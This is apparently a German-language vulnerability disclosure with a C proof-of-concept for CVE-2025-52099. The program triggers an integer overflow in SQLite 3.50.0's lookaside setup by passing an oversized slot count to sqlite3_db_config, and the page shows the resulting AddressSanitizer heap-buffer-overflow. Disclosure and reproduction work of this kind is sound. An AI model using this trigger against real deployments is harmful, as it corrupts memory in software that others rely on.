
Proof-of-Concept für CVE-2025-52099, einen Integer-Überlauf in der setupLookaside-Funktion von SQLite 3.50.0, der zu einem Heap-Pufferüberlauf führt.
ein Integer-Überlauf in SQLite 3.50.0
Ein Proof-of-Concept (PoC) zur Auslösung eines Integer-Überlaufs in der setupLookaside-Funktion von SQLite 3.50.0 wird unten bereitgestellt. Dieser Überlauf tritt aufgrund einer ungeprüften Multiplikation von sz * nBig auf, die in einen negativen Wert übergehen und zu ungültigen Speicherschreibvorgängen führen kann.
Getestet auf: Ubuntu 22.04 x86_64 mit SQLite 3.50.0 (benutzerdefiniert gebaut)
PoC-Code (C):
#include <stdio.h> #include <sqlite3.h>
int main() { sqlite3 *db;
// Open SQLite database
if (sqlite3_open("test.db", &db)) {
fprintf(stderr, "Can't open database: %s\n", sqlite3_errmsg(db));
return 1;
}
// Malicious lookaside configuration
// sz = 140, cnt = 1979733333
// This causes internal sz * nBig to overflow and produces negative nSm
int rc = sqlite3_db_config(db, SQLITE_DBCONFIG_LOOKASIDE, NULL, 140, 1979733333);
if (rc != SQLITE_OK) {
fprintf(stderr, "Failed to configure lookaside: %d\n", rc);
return 2;
} else {
printf("[+] Lookaside configured\n");
}
// Create table and perform many inserts to exercise corrupted lookaside pool
sqlite3_exec(db, "CREATE TABLE test(id INTEGER);", NULL, NULL, NULL);
for (int i = 0; i < 100000; i++) {
char sql[64];
snprintf(sql, sizeof(sql), "INSERT INTO test(id) VALUES(%d);", i);
sqlite3_exec(db, sql, NULL, NULL, NULL);
}
printf("[+] Insert finished. Closing DB.\n");
sqlite3_close(db);
return 0;
}
Dieser PoC führt, wenn er mit AddressSanitizer (-fsanitize=address) kompiliert wird, aufgrund einer ungültigen Lookaside-Slot-Konfiguration zu einem Heap-Buffer-Overflow.
Beobachtete Ausgabe mit ASAN:
==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000f000 ... READ of size 8 at 0x60200000f000 thread T0 ...